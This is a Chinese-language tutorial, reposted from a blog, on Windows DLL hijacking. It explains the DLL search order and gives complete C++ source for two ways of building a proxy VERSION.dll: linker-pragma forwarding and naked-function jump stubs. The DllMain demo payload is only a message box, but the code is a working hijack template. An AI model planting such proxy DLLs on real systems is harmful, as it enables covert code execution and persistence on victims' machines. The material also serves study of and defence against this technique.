网络安全检测|网络安全服务|网络安全扫描-香港墨客投资移动版

主页 > 业界资讯 > 网络渗透测试

Windows黑客编程之dll劫持

伪造dll,篡改里面的导出函数,替换原来的dll,进程将会加载伪造的dll,执行dllmain中的恶意代码以及调用篡改后的函数

知识

由于PE文件输入表中只包含dll名而没有路径,因此加载程序必须在磁盘上搜索dll文件,搜索路径的顺序如下:

程序所在目录

系统目录

16位系统目录

Windows目录

当前目录

PATH环境变量中的各目录

dll劫持就是用一个和目标dll同名的dll对其进行替换,程序会优先加载

为了使加载恶意dll后程序还能正常运行,恶意dll导出函数的名称和功能必须与原来的dll一致,有两种方式来调用原来的dll:

直接转发dll函数

主动调用dll函数

代码 直接转发dll

通过pragma预编译指令进行转发,调用原来的dll函数

// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { ::MessageBox(NULL, "直接转发函数方法", "From DLL Hijack", MB_OK | MB_ICONWARNING); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // 直接转发函数 #pragma comment(linker, "/EXPORT:GetFileVersionInfoA=OLD_VERSION.GetFileVersionInfoA") #pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=OLD_VERSION.GetFileVersionInfoByHandle") #pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=OLD_VERSION.GetFileVersionInfoExA") #pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=OLD_VERSION.GetFileVersionInfoExW") #pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=OLD_VERSION.GetFileVersionInfoSizeA") #pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=OLD_VERSION.GetFileVersionInfoSizeExA") #pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=OLD_VERSION.GetFileVersionInfoSizeExW") #pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=OLD_VERSION.GetFileVersionInfoSizeW") #pragma comment(linker, "/EXPORT:GetFileVersionInfoW=OLD_VERSION.GetFileVersionInfoW") #pragma comment(linker, "/EXPORT:VerFindFileA=OLD_VERSION.VerFindFileA") #pragma comment(linker, "/EXPORT:VerFindFileW=OLD_VERSION.VerFindFileW") #pragma comment(linker, "/EXPORT:VerInstallFileA=OLD_VERSION.VerInstallFileA") #pragma comment(linker, "/EXPORT:VerInstallFileW=OLD_VERSION.VerInstallFileW") #pragma comment(linker, "/EXPORT:VerLanguageNameA=OLD_VERSION.VerLanguageNameA") #pragma comment(linker, "/EXPORT:VerLanguageNameW=OLD_VERSION.VerLanguageNameW") #pragma comment(linker, "/EXPORT:VerQueryValueA=OLD_VERSION.VerQueryValueA") #pragma comment(linker, "/EXPORT:VerQueryValueW=OLD_VERSION.VerQueryValueW") 主动调用dll函数

相当于重新写一遍每个函数并导出,函数里通过loadlibrary和getprocaddress获取原来的函数地址,通过内联汇编指令jmp跳转

注意导出函数前要使用关键字declspec(naked)来声明罗函数,告诉编译器不进行任何优化,此外还须使用内联汇编跳转,保证完全控制

// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { // 绝对路径加载VERSION.dll ::LoadLibrary("C:\\Windows\\System32\\VERSION.dll"); ::MessageBox(NULL, "调用函数方法", "From DLL Hijack", MB_OK | MB_ICONWARNING); break; } case DLL_THREAD_ATTACH: { break; } case DLL_THREAD_DETACH: { // 卸载VERSION.dll HMODULE hDll = ::GetModuleHandle("C:\\Windows\\System32\\VERSION.dll"); if (hDll) { ::FreeLibrary(hDll); } break; } case DLL_PROCESS_DETACH: { break; } break; } return TRUE; } // 导出 #pragma comment(linker, "/EXPORT:GetFileVersionInfoA=_DG_GetFileVersionInfoA,@1") #pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=_DG_GetFileVersionInfoByHandle,@2") #pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=_DG_GetFileVersionInfoExA,@3") #pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=_DG_GetFileVersionInfoExW,@4") #pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=_DG_GetFileVersionInfoSizeA,@5") #pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=_DG_GetFileVersionInfoSizeExA,@6") #pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=_DG_GetFileVersionInfoSizeExW,@7") #pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=_DG_GetFileVersionInfoSizeW,@8") #pragma comment(linker, "/EXPORT:GetFileVersionInfoW=_DG_GetFileVersionInfoW,@9") #pragma comment(linker, "/EXPORT:VerFindFileA=_DG_VerFindFileA,@10") #pragma comment(linker, "/EXPORT:VerFindFileW=_DG_VerFindFileW,@11") #pragma comment(linker, "/EXPORT:VerInstallFileA=_DG_VerInstallFileA,@12") #pragma comment(linker, "/EXPORT:VerInstallFileW=_DG_VerInstallFileW,@13") #pragma comment(linker, "/EXPORT:VerLanguageNameA=_DG_VerLanguageNameA,@14") #pragma comment(linker, "/EXPORT:VerLanguageNameW=_DG_VerLanguageNameW,@15") #pragma comment(linker, "/EXPORT:VerQueryValueA=_DG_VerQueryValueA,@16") #pragma comment(linker, "/EXPORT:VerQueryValueW=_DG_VerQueryValueW,@17") // 获取函数地址 PVOID GetFunctionAddress(char *pszFunctionName) { PVOID pAddr = NULL; HMODULE hDll = NULL; char szDllPath[MAX_PATH] = "C:\\Windows\\System32\\VERSION.dll"; hDll = ::LoadLibrary(szDllPath); if (NULL == hDll) { return NULL; } pAddr = ::GetProcAddress(hDll, pszFunctionName); ::FreeLibrary(hDll); return pAddr; } // 函数 extern "C" void __declspec(naked) DG_GetFileVersionInfoA() { GetFunctionAddress("GetFileVersionInfoA"); __asm jmp eax } extern "C" void __declspec(naked) DG_GetFileVersionInfoByHandle() { GetFunctionAddress("GetFileVersionInfoByHandle"); __asm jmp eax } extern "C" void __declspec(naked) DG_GetFileVersionInfoExA() { GetFunctionAddress("GetFileVersionInfoExA"); __asm jmp eax } extern "C" void __declspec(naked) DG_GetFileVersionInfoExW() { GetFunctionAddress("GetFileVersionInfoExW"); __asm jmp eax } extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeA() { GetFunctionAddress("GetFileVersionInfoSizeA"); __asm jmp eax } extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeExA() { GetFunctionAddress("GetFileVersionInfoSizeExA"); __asm jmp eax } extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeExW() { GetFunctionAddress("GetFileVersionInfoSizeExW"); __asm jmp eax } extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeW() { GetFunctionAddress("GetFileVersionInfoSizeW"); __asm jmp eax } extern "C" void __declspec(naked) DG_GetFileVersionInfoW() { GetFunctionAddress("GetFileVersionInfoW"); __asm jmp eax } extern "C" void __declspec(naked) DG_VerFindFileA() { GetFunctionAddress("VerFindFileA"); __asm jmp eax } extern "C" void __declspec(naked) DG_VerFindFileW() { GetFunctionAddress("VerFindFileW"); __asm jmp eax } extern "C" void __declspec(naked) DG_VerInstallFileA() { GetFunctionAddress("VerInstallFileA"); __asm jmp eax } extern "C" void __declspec(naked) DG_VerInstallFileW() { GetFunctionAddress("VerInstallFileW"); __asm jmp eax } extern "C" void __declspec(naked) DG_VerLanguageNameA() { GetFunctionAddress("VerLanguageNameA"); __asm jmp eax } extern "C" void __declspec(naked) DG_VerLanguageNameW() { GetFunctionAddress("VerLanguageNameW"); __asm jmp eax } extern "C" void __declspec(naked) DG_VerQueryValueA() { GetFunctionAddress("VerQueryValueA"); __asm jmp eax } extern "C" void __declspec(naked) DG_VerQueryValueW() { GetFunctionAddress("VerQueryValueW"); __asm jmp eax } 两种方法比较

因为declspec(naked)关键字和内联汇编不支持64位,故主动调用方法仅能用在32位dll劫持上,而转发方法既能32也能64位劫持

主动调用方法不用改原来dll的名字,而转发方法必须修改原来dll的名字,否则会造成死锁

原文地址:https://www.cnblogs.com/z5onk0/p/17155145.html

(责任编辑:admin)